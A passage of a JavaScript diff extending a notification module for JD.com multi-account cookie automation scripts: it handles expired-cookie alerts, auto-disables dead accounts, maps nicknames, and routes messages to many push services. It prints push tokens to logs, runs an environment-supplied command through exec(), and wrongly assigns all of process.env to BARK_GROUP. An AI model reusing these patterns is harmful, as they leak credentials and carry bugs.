Use_qywxBotNotify = true; + var Use_qywxamNotify = true; + var Use_iGotNotify = true; + var Use_gobotNotify = true; + var Use_pushPlushxtripNotify = true; + var Use_WxPusher = true; + var strtext = text; + var strdesp = desp; + var titleIndex =-1; + if (process.env.NOTIFY_NOCKFALSE) { + Notify_NoCKFalse = process.env.NOTIFY_NOCKFALSE; + } + if (process.env.NOTIFY_NOLOGINSUCCESS) { + Notify_NoLoginSuccess = process.env.NOTIFY_NOLOGINSUCCESS; + } + if (process.env.NOTIFY_CKTASK) { + Notify_CKTask = process.env.NOTIFY_CKTASK; + } + + if (process.env.NOTIFY_SKIP_TEXT && desp) { + Notify_SkipText = process.env.NOTIFY_SKIP_TEXT.split('&'); + if (Notify_SkipText.length > 0) { + for (var Templ in Notify_SkipText) { + if (desp.indexOf(Notify_SkipText[Templ]) != -1) { + console.log("检测内容到内容存在屏蔽推送的关键字(" + Notify_SkipText[Templ] + "),将跳过推送..."); + return; + } + } + } + } + + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1 || text == "Ninja 运行通知") { + + if (Notify_CKTask) { + console.log("触发CK脚本,开始执行...."); + Notify_CKTask = "task " + Notify_CKTask + " now"; + await exec(Notify_CKTask, function (error, stdout, stderr) { + console.log(error, stdout, stderr) + }); + } + } + if (process.env.NOTIFY_AUTOCHECKCK == "true") { + if (text.indexOf("cookie已失效") != -1 || desp.indexOf("重新登录获取") != -1) { + console.log(`捕获CK过期通知,开始尝试处理...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + var llHaderror = false; + + if (strPtPin) { + var temptest = await getEnvByPtPin(strdecPtPin); + if (temptest) { + if (temptest.status == 0) { + isLogin = true; + await isLoginByX1a0He(temptest.value); + if (!isLogin) { + var tempid = 0; + if (temptest._id) { + tempid = temptest._id; + } + if (temptest.id) { + tempid =temptest.id; + } + const DisableCkBody = await DisableCk(tempid); + strPtPin = temptest.value; + strPtPin = (strPtPin.match(/pt_pin=([^; ]+)(?=;?)/) && strPtPin.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strAllNotify = ""; + var MessageUserGp2 = ""; + var MessageUserGp3 = ""; + var MessageUserGp4 = ""; + + var userIndex2 = -1; + var userIndex3 = -1; + var userIndex4 = -1; + + var strNotifyOneTemp = ""; + if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + } + + if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + } + + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === strPtPin); + + } + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === strPtPin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === strPtPin); + } + + if (userIndex2 != -1) { + console.log(`该账号属于分组2`); + text = "京东CK检测#2"; + } + if (userIndex3 != -1) { + console.log(`该账号属于分组3`); + text = "京东CK检测#3"; + } + if (userIndex4 != -1) { + console.log(`该账号属于分组4`); + text = "京东CK检测#4"; + } + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + text = "京东CK检测"; + } + if (process.env.CHECKCK_ALLNOTIFY) { + strAllNotify = process.env.CHECKCK_ALLNOTIFY; + /* if (strTempNotify.length > 0) { + for (var TempNotifyl in strTempNotify) { + strAllNotify += strTempNotify[TempNotifyl] + '\n'; + } + }*/ + console.log(`检测到设定了温馨提示,将在推送信息中置顶显示...`); + strAllNotify = `\n【✨✨✨✨温馨提示✨✨✨✨】\n` + strAllNotify; + console.log(strAllNotify); + } + + if (DisableCkBody.code == 200) { + console.log(`京东账号` + strdecPtPin + `已失效,自动禁用成功!\n`); + + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效,自动禁用成功!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin); + } + + } else { + console.log(`京东账号` + strPtPin + `已失效,自动禁用失败!\n`); + strNotifyOneTemp = `京东账号: ` + strdecPtPin + ` 已失效!\n如果要继续挂机,请联系管理员重新登录账号,账号有效期为30天.`; + strNotifyOneTemp += "\n任务标题:" + strtext; + if (strAllNotify) + strNotifyOneTemp += `\n` + strAllNotify; + desp = strNotifyOneTemp; + if (WP_APP_TOKEN_ONE) { + await sendNotifybyWxPucher(`账号过期下线通知`, strNotifyOneTemp, strdecPtPin); + } + } + } else { + console.log(`该CK已经检测没有有效,跳过通知...`); + llHaderror = true; + } + } else { + console.log(`该CK已经禁用不需要处理`); + llHaderror = true; + } + + } + + } else { + console.log(`CK过期通知处理失败...`); + } + if (llHaderror) + return; + } + } + + if (strtext.indexOf("cookie已失效") != -1 || strdesp.indexOf("重新登录获取") != -1 || strtext == "Ninja 运行通知") { + if (Notify_NoCKFalse == "true" && text != "Ninja 运行通知") { + console.log(`检测到NOTIFY_NOCKFALSE变量为true,不发送ck失效通知...`); + return; + } + } + + if (text.indexOf("已可领取") != -1) { + if (text.indexOf("农场") != -1) { + strTitle = "东东农场领取"; + } else { + strTitle = "东东萌宠领取"; + } + } + if (text.indexOf("汪汪乐园养joy") != -1) { + strTitle = "汪汪乐园养joy领取"; + } + + if (text == "京喜工厂") { + if (desp.indexOf("元造进行兑换") != -1) { + strTitle = "京喜工厂领取"; + } + } + + if (text.indexOf("任务") != -1 && (text.indexOf("新增") != -1 || text.indexOf("删除") != -1)) { + strTitle = "脚本任务更新"; + } + + if (strTitle) { + const notifyRemindList = process.env.NOTIFY_NOREMIND ? process.env.NOTIFY_NOREMIND.split('&') : []; + titleIndex = notifyRemindList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${text} 在领取信息黑名单中,已跳过推送`); + return; + } + + } else { + strTitle = text; + } + if (Notify_NoLoginSuccess == "true") { + if (desp.indexOf("登陆成功") != -1) { + console.log(`登陆成功不推送`); + return; + } + } + + if (strTitle == "汪汪乐园养joy领取" && WP_APP_TOKEN_ONE) { + console.log(`捕获汪汪乐园养joy领取通知,开始尝试一对一推送...`); + var strPtPin = await GetPtPin(text); + var strdecPtPin = decodeURIComponent(strPtPin); + if (strPtPin) { + await sendNotifybyWxPucher("汪汪乐园领取通知", `【京东账号】${strdecPtPin}\n当前等级: 30\n请自行去解锁新场景,奖励领取方式如下:\n极速版APP->我的->汪汪乐园,点击左上角头像,点击中间靠左的现金奖励图标,弹出历史奖励中点击领取.`, strdecPtPin); + } + } + + console.log("通知标题: " + strTitle); + + //检查黑名单屏蔽通知 + const notifySkipList = process.env.NOTIFY_SKIP_LIST ? process.env.NOTIFY_SKIP_LIST.split('&') : []; + titleIndex = notifySkipList.findIndex((item) => item === strTitle); + + if (titleIndex !== -1) { + console.log(`${strTitle} 在推送黑名单中,已跳过推送`); + return; + } + + //检查脚本名称是否需要通知到Group2,Group2读取原环境配置的变量名后加2的值.例如: QYWX_AM2 + for (lncount = 2; lncount < 20; lncount++) { + if (process.env["NOTIFY_GROUP" + lncount + "_LIST"]) { + const strtemp = process.env["NOTIFY_GROUP" + lncount + "_LIST"]; + const notifyGroupList = strtemp ? strtemp.split('&') : []; + const titleIndex = notifyGroupList.findIndex((item) => item === strTitle); + if (titleIndex !== -1) { + console.log(`${strTitle} 在群组${lncount}推送名单中,初始化群组推送`); + UseGroupNotify = lncount; + } + } + } + + if (process.env.NOTIFY_CUSTOMNOTIFY) { + strCustom = process.env.NOTIFY_CUSTOMNOTIFY; + strCustomArr = strCustom.replace(/^\[|\]$/g, "").split(","); + strCustomTempArr = []; + for (var Tempj in strCustomArr) { + strCustomTempArr = strCustomArr[Tempj].split("&"); + if (strCustomTempArr.length > 1) { + if (strTitle == strCustomTempArr[0]) { + console.log("检测到自定义设定,开始执行配置..."); + if(strCustomTempArr[1].indexOf("组")!=-1){ + UseGroupNotify = strCustomTempArr[1].replace("组","") * 1; + console.log("自定义设定强制使用组"+UseGroupNotify+"配置通知..."); + } else { + UseGroupNotify = 1; + } + if (strCustomTempArr.length > 2) { + console.log("关闭所有通知变量..."); + Use_serverNotify = false; + Use_pushPlusNotify = false; + Use_pushPlushxtripNotify = false; + Use_BarkNotify = false; + Use_tgBotNotify = false; + Use_ddBotNotify = false; + Use_qywxBotNotify = false; + Use_qywxamNotify = false; + Use_iGotNotify = false; + Use_gobotNotify = false; + + for (let Tempk = 2; Tempk < strCustomTempArr.length; Tempk++) { + var strTrmp = strCustomTempArr[Tempk]; + switch (strTrmp) { + case "Server酱": + Use_serverNotify = true; + console.log("自定义设定启用Server酱进行通知..."); + break; + case "pushplus": + Use_pushPlusNotify = true; + console.log("自定义设定启用pushplus(推送加)进行通知..."); + break; + case "pushplushxtrip": + Use_pushPlushxtripNotify = true; + console.log("自定义设定启用pushplus_hxtrip(推送加)进行通知..."); + break; + case "Bark": + Use_BarkNotify = true; + console.log("自定义设定启用Bark进行通知..."); + break; + case "TG机器人": + Use_tgBotNotify = true; + console.log("自定义设定启用telegram机器人进行通知..."); + break; + case "钉钉": + Use_ddBotNotify = true; + console.log("自定义设定启用钉钉机器人进行通知..."); + break; + case "企业微信机器人": + Use_qywxBotNotify = true; + console.log("自定义设定启用企业微信机器人进行通知..."); + break; + case "企业微信应用消息": + Use_qywxamNotify = true; + console.log("自定义设定启用企业微信应用消息进行通知..."); + break; + case "iGotNotify": + Use_iGotNotify = true; + console.log("自定义设定启用iGot进行通知..."); + break; + case "gobotNotify": + Use_gobotNotify = true; + console.log("自定义设定启用go-cqhttp进行通知..."); + break; + case "WxPusher": + Use_WxPusher = true; + console.log("自定义设定启用WxPusher进行通知..."); + break; + + } + } + + } + } + } + } + } + + + //console.log("UseGroup2 :"+UseGroup2); + //console.log("UseGroup3 :"+UseGroup3); + + if (UseGroupNotify == 1) + UseGroupNotify = ""; + + if (process.env["GOBOT_URL" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_URL = process.env["GOBOT_URL" + UseGroupNotify]; + } + if (process.env["GOBOT_TOKEN" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_TOKEN = process.env["GOBOT_TOKEN" + UseGroupNotify]; + } + if (process.env["GOBOT_QQ" + UseGroupNotify] && Use_gobotNotify) { + GOBOT_QQ = process.env["GOBOT_QQ" + UseGroupNotify]; + } + + if (process.env["PUSH_KEY" + UseGroupNotify] && Use_serverNotify) { + SCKEY = process.env["PUSH_KEY" + UseGroupNotify]; + } + + if (process.env["WP_APP_TOKEN" + UseGroupNotify] && Use_WxPusher) { + WP_APP_TOKEN = process.env["WP_APP_TOKEN" + UseGroupNotify]; + } + + if (process.env["WP_TOPICIDS" + UseGroupNotify] && Use_WxPusher) { + WP_TOPICIDS = process.env["WP_TOPICIDS" + UseGroupNotify]; + } + + if (process.env["WP_UIDS" + UseGroupNotify] && Use_WxPusher) { + WP_UIDS = process.env["WP_UIDS" + UseGroupNotify]; + } + + if (process.env["WP_URL" + UseGroupNotify] && Use_WxPusher) { + WP_URL = process.env["WP_URL" + UseGroupNotify]; + } + if (process.env["BARK_PUSH" + UseGroupNotify] && Use_BarkNotify) { + if (process.env["BARK_PUSH" + UseGroupNotify].indexOf('https') > -1 || process.env["BARK_PUSH" + UseGroupNotify].indexOf('http') > -1) { + //兼容BARK自建用户 + BARK_PUSH = process.env["BARK_PUSH" + UseGroupNotify]; + } else { + //兼容BARK本地用户只填写设备码的情况 + BARK_PUSH = `https://api.day.app/${process.env["BARK_PUSH" + UseGroupNotify]}`; + } + if (process.env["BARK_SOUND" + UseGroupNotify]) { + BARK_SOUND = process.env["BARK_SOUND" + UseGroupNotify]; + } + if (process.env["BARK_GROUP" + UseGroupNotify]) { + BARK_GROUP = process.env; + } + } + if (process.env["TG_BOT_TOKEN" + UseGroupNotify] && Use_tgBotNotify) { + TG_BOT_TOKEN = process.env["TG_BOT_TOKEN" + UseGroupNotify]; + } + if (process.env["TG_USER_ID" + UseGroupNotify] && Use_tgBotNotify) { + TG_USER_ID = process.env["TG_USER_ID" + UseGroupNotify]; + } + if (process.env["TG_PROXY_AUTH" + UseGroupNotify] && Use_tgBotNotify) + TG_PROXY_AUTH = process.env["TG_PROXY_AUTH" + UseGroupNotify]; + if (process.env["TG_PROXY_HOST" + UseGroupNotify] && Use_tgBotNotify) + TG_PROXY_HOST = process.env["TG_PROXY_HOST" + UseGroupNotify]; + if (process.env["TG_PROXY_PORT" + UseGroupNotify] && Use_tgBotNotify) + TG_PROXY_PORT = process.env["TG_PROXY_PORT" + UseGroupNotify]; + if (process.env["TG_API_HOST" + UseGroupNotify] && Use_tgBotNotify) + TG_API_HOST = process.env["TG_API_HOST" + UseGroupNotify]; + + if (process.env["DD_BOT_TOKEN" + UseGroupNotify] && Use_ddBotNotify) { + DD_BOT_TOKEN = process.env["DD_BOT_TOKEN" + UseGroupNotify]; + if (process.env["DD_BOT_SECRET" + UseGroupNotify]) { + DD_BOT_SECRET = process.env["DD_BOT_SECRET" + UseGroupNotify]; + } + } + + if (process.env["QYWX_KEY" + UseGroupNotify] && Use_qywxBotNotify) { + QYWX_KEY = process.env["QYWX_KEY" + UseGroupNotify]; + } + + if (process.env["QYWX_AM" + UseGroupNotify] && Use_qywxamNotify) { + QYWX_AM = process.env["QYWX_AM" + UseGroupNotify]; + } + + if (process.env["IGOT_PUSH_KEY" + UseGroupNotify] && Use_iGotNotify) { + IGOT_PUSH_KEY = process.env["IGOT_PUSH_KEY" + UseGroupNotify]; + } + + if (process.env["PUSH_PLUS_TOKEN" + UseGroupNotify] && Use_pushPlusNotify) { + PUSH_PLUS_TOKEN = process.env["PUSH_PLUS_TOKEN" + UseGroupNotify]; + } + if (process.env["PUSH_PLUS_USER" + UseGroupNotify] && Use_pushPlusNotify) { + PUSH_PLUS_USER = process.env["PUSH_PLUS_USER" + UseGroupNotify]; + } + + if (process.env["PUSH_PLUS_TOKEN_hxtrip" + UseGroupNotify] && Use_pushPlushxtripNotify) { + PUSH_PLUS_TOKEN_hxtrip = process.env["PUSH_PLUS_TOKEN_hxtrip" + UseGroupNotify]; + } + if (process.env["PUSH_PLUS_USER_hxtrip" + UseGroupNotify] && Use_pushPlushxtripNotify) { + PUSH_PLUS_USER_hxtrip = process.env["PUSH_PLUS_USER_hxtrip" + UseGroupNotify]; + } + if (process.env["GOTIFY_URL" + UseGroupNotify]) { + GOTIFY_URL = process.env["GOTIFY_URL" + UseGroupNotify]; + } + if (process.env["GOTIFY_TOKEN" + UseGroupNotify]) { + GOTIFY_TOKEN = process.env["GOTIFY_TOKEN" + UseGroupNotify]; + } + if (process.env["GOTIFY_PRIORITY" + UseGroupNotify]) { + GOTIFY_PRIORITY = process.env["GOTIFY_PRIORITY" + UseGroupNotify]; + } + //检查是否在不使用Remark进行名称替换的名单 + const notifySkipRemarkList = process.env.NOTIFY_SKIP_NAMETYPELIST ? process.env.NOTIFY_SKIP_NAMETYPELIST.split('&') : []; + const titleIndex3 = notifySkipRemarkList.findIndex((item) => item === strTitle); + + if (text == "京东到家果园互助码:") { + ShowRemarkType = "1"; + if (desp) { + var arrTemp = desp.split(","); + var allCode = ""; + for (let k = 0; k < arrTemp.length; k++) { + if (arrTemp[k]) { + if (arrTemp[k].substring(0, 1) != "@") + allCode += arrTemp[k] + ","; + } + } + + if (allCode) { + desp += '\n' + '\n' + "ccwav格式化后的互助码:" + '\n' + allCode; + } + } + } + + if (ShowRemarkType != "1" && titleIndex3 == -1) { + console.log("sendNotify正在处理账号Remark....."); + //开始读取青龙变量列表 + const envs = await getEnvs(); + if (envs[0]) { + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + for (let i = 0; i < envs.length; i++) { + cookie = envs[i].value; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.Remark = getRemark(envs[i].remarks); + $.nickName = ""; + $.FoundnickName = ""; + $.FoundPin = ""; + //判断有没有Remark,没有搞个屁,有的继续 + if ($.Remark) { + //先查找缓存文件中有没有这个账号,有的话直接读取别名 + if (envs[i].status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + if ($.nickName) { + console.log("好像是新账号,从接口获取别名" + $.nickName); + } else { + console.log($.UserName + "该账号没有别名....."); + } + tempAddCK = { + "pt_pin": $.UserName, + "nickName": $.nickName + }; + TempCK.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + $.nickName = $.nickName || $.UserName; + + //开始替换内容中的名字 + if (ShowRemarkType == "2") { + $.Remark = $.nickName + "(" + $.Remark + ")"; + } + if (ShowRemarkType == "3") { + $.Remark = $.UserName + "(" + $.Remark + ")"; + } + + try { + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + text = text.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + if (text == "京东资产变动" || text == "京东资产变动#2" || text == "京东资产变动#3" || text == "京东资产变动#4") { + var Tempinfo = ""; + if(envs[i].created) + Tempinfo=getQLinfo(cookie, envs[i].created, envs[i].timestamp, envs[i].remarks); + else + if(envs[i].updatedAt) + Tempinfo=getQLinfo(cookie, envs[i].createdAt, envs[i].updatedAt, envs[i].remarks); + else + Tempinfo=getQLinfo(cookie, envs[i].createdAt, envs[i].timestamp, envs[i].remarks); + if (Tempinfo) { + $.Remark += Tempinfo; + } + } + + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), $.Remark); + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + //console.log("额外处理2:"+tempname); + text = text.replace(new RegExp(tempname, 'gm'), $.Remark); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + strsummary = strsummary.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + + //console.log($.nickName+$.Remark); + + } + + } + + } + console.log("处理完成,开始发送通知..."); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + } + } catch (error) { + console.error(error); + } + + if (boolneedUpdate) { + var str = JSON.stringify(TempCK, null, 2); + fs.writeFile(strCKFile, str, function (err) { + if (err) { + console.log(err); + console.log("更新CKName_cache.json失败!"); + } else { + console.log("缓存文件CKName_cache.json更新成功!"); + } + }) + } + + //提供6种通知 + desp = buildLastDesp(desp, author) + + await serverNotify(text, desp); //微信server酱 + + if (PUSH_PLUS_TOKEN_hxtrip) { + console.log("hxtrip TOKEN :" + PUSH_PLUS_TOKEN_hxtrip); + } + if (PUSH_PLUS_USER_hxtrip) { + console.log("hxtrip USER :" + PUSH_PLUS_USER_hxtrip); + } + PushErrorTime = 0; + await pushPlusNotifyhxtrip(text, desp); //pushplushxtrip(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotifyhxtrip(text, desp); + } + + if (PUSH_PLUS_TOKEN) { + console.log("PUSH_PLUS TOKEN :" + PUSH_PLUS_TOKEN); + } + if (PUSH_PLUS_USER) { + console.log("PUSH_PLUS USER :" + PUSH_PLUS_USER); + } + PushErrorTime = 0; + await pushPlusNotify(text, desp); //pushplus(推送加) + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + } + if (PushErrorTime > 0) { + console.log("等待1分钟后重试....."); + await $.wait(60000); + await pushPlusNotify(text, desp); //pushplus(推送加) + + } + + //由于上述两种微信通知需点击进去才能查看到详情,故text(标题内容)携带了账号序号以及昵称信息,方便不点击也可知道是哪个京东哪个活动 + text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + BarkNotify(text, desp, params), //iOS Bark APP + tgBotNotify(text, desp), //telegram 机器人 + ddBotNotify(text, desp), //钉钉机器人 + qywxBotNotify(text, desp), //企业微信机器人 + qywxamNotify(text, desp, strsummary), //企业微信应用消息推送 + iGotNotify(text, desp, params), //iGot + gobotNotify(text, desp), //go-cqhttp + gotifyNotify(text, desp), //gotify + wxpusherNotify(text, desp) // wxpusher + ]); +} + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + console.log(PtPin + ": 检测到NVJDC的一对一格式,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + if (!strTempuuid) { + console.log("检索资料失败..."); + } + } + } + if (!strTempuuid && TempCKUid) { + console.log("正在从CK_WxPusherUid文件中检索资料..."); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strTempuuid = TempCKUid[j].Uid; + break; + } + } + } + return strTempuuid; +} + +function getQLinfo(strCK, intcreated, strTimestamp, strRemark) { + var strCheckCK = strCK.match(/pt_key=([^; ]+)(?=;?)/) && strCK.match(/pt_key=([^; ]+)(?=;?)/)[1]; + var strPtPin = decodeURIComponent(strCK.match(/pt_pin=([^; ]+)(?=;?)/) && strCK.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var strReturn = ""; + if (strCheckCK.substring(0, 3) == "AAJ") { + var DateCreated = new Date(intcreated); + var DateTimestamp = new Date(strTimestamp); + var DateToday = new Date(); + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + //console.log(strPtPin + ": 检测到NVJDC的备注格式,尝试获取登录时间,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length == 13) { + DateTimestamp = new Date(parseInt(TempRemarkList[j])); + //console.log(strPtPin + ": 获取登录时间成功:" + GetDateTime(DateTimestamp)); + break; + } + } + } + } + } + + //过期时间 + var UseDay = Math.ceil((DateToday.getTime() - DateCreated.getTime()) / 86400000); + var LogoutDay = 30 - Math.ceil((DateToday.getTime() - DateTimestamp.getTime()) / 86400000); + if (LogoutDay < 1) { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(账号即将到期,请重登续期)" + } else { + strReturn = "\n【登录信息】总挂机" + UseDay + "天(有效期约剩" + LogoutDay + "天)" + } + + } + return strReturn +} + +function getRemark(strRemark) { + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + var TempRemarkList = strRemark.split("@@"); + return TempRemarkList[0].trim(); + } else { + //这是为了处理ninjia的remark格式 + strRemark = strRemark.replace("remark=", ""); + strRemark = strRemark.replace(";", ""); + return strRemark.trim(); + } + } else { + return ""; + } +} + +async function sendNotifybyWxPucher(text, desp, PtPin, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + + try { + var Uid = ""; + var UserRemark = ""; + var strTempdesp = []; + var strAllNotify = ""; + if (text == "京东资产变动") { + strTempdesp = desp.split('🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏'); + if (strTempdesp.length == 2) { + strAllNotify = strTempdesp[0]; + desp = strTempdesp[1]; + } + + } + + if (WP_APP_TOKEN_ONE) { + var tempEnv = await getEnvByPtPin(PtPin); + if (tempEnv) { + cookie = tempEnv.value; + Uid = getuuid(tempEnv.remarks, PtPin); + UserRemark = getRemark(tempEnv.remarks); + + if (Uid) { + console.log("查询到Uid :" + Uid); + WP_UIDS_ONE = Uid; + console.log("正在发送一对一通知,请稍后..."); + + if (text == "京东资产变动") { + try { + $.nickName = ""; + $.FoundPin = ""; + $.UserName = PtPin; + if (tempEnv.status == 0) { + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].pt_pin == $.UserName) { + $.FoundPin = TempCK[j].pt_pin; + $.nickName = TempCK[j].nickName; + } + } + } + if (!$.FoundPin) { + //缓存文件中有没有这个账号,调用京东接口获取别名,并更新缓存文件 + console.log($.UserName + "好像是新账号,尝试获取别名....."); + await GetnickName(); + if (!$.nickName) { + console.log("别名获取失败,尝试调用另一个接口获取别名....."); + await GetnickName2(); + } + } + } + + $.nickName = $.nickName || $.UserName; + + //额外处理1,nickName包含星号 + $.nickName = $.nickName.replace(new RegExp(`[*]`, 'gm'), "[*]"); + + var Tempinfo = ""; + if(tempEnv.created) + Tempinfo=getQLinfo(cookie, tempEnv.created, tempEnv.timestamp, tempEnv.remarks); + else + if(tempEnv.updatedAt) + Tempinfo=getQLinfo(cookie, tempEnv.createdAt, tempEnv.updatedAt, tempEnv.remarks); + else + Tempinfo=getQLinfo(cookie, tempEnv.createdAt, tempEnv.timestamp, tempEnv.remarks); + + if (Tempinfo) { + Tempinfo = $.nickName + Tempinfo; + desp = desp.replace(new RegExp(`${$.UserName}|${$.nickName}`, 'gm'), Tempinfo); + } + + //额外处理2,nickName不包含星号,但是确实是手机号 + var tempname = $.UserName; + if (tempname.length == 13 && tempname.substring(8)) { + tempname = tempname.substring(0, 3) + "[*][*][*][*][*]" + tempname.substring(8); + desp = desp.replace(new RegExp(tempname, 'gm'), $.Remark); + } + + } catch (err) { + console.log("替换出错了"); + console.log("Debug Name1 :" + $.UserName); + console.log("Debug Name2 :" + $.nickName); + console.log("Debug Remark :" + $.Remark); + } + } + if (UserRemark) { + text = text + " (" + UserRemark + ")"; + } + console.log("处理完成,开始发送通知..."); + desp = buildLastDesp(desp, author); + if (strAllNotify) { + desp = strAllNotify + "\n" + desp; + } + await wxpusherNotifyByOne(text, desp, strsummary); + } else { + console.log("未查询到用户的Uid,取消一对一通知发送..."); + } + } + } else { + console.log("变量WP_APP_TOKEN_ONE未配置WxPusher的appToken, 取消发送..."); + + } + } catch (error) { + console.error(error); + } + +} + +async function GetPtPin(text) { + try { + const TempList = text.split('- '); + if (TempList.length > 1) { + var strNickName = TempList[TempList.length - 1]; + var strPtPin = ""; + console.log(`捕获别名:` + strNickName); + if (TempCK) { + for (let j = 0; j < TempCK.length; j++) { + if (TempCK[j].nickName == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + if (TempCK[j].pt_pin == strNickName) { + strPtPin = TempCK[j].pt_pin; + break; + } + } + if (strPtPin) { + console.log(`反查PtPin成功:` + strPtPin); + return strPtPin; + } else { + console.log(`别名反查PtPin失败: 1.用户更改了别名 2.可能是新用户,别名缓存还没有。`); + return ""; + } + } + } else { + console.log(`标题格式无法捕获别名...`); + return ""; + } + } catch (error) { + console.error(error); + return ""; + } + +} + +async function isLoginByX1a0He(cookie) { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function gotifyNotify(text, desp) { + return new Promise((resolve) => { + if (GOTIFY_URL && GOTIFY_TOKEN) { + const options = { + url: `${GOTIFY_URL}/message?token=${GOTIFY_TOKEN}`, + body: `title=${encodeURIComponent(text)}&message=${encodeURIComponent(desp)}&priority=${GOTIFY_PRIORITY}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('gotify发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.id) { + console.log('gotify发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + 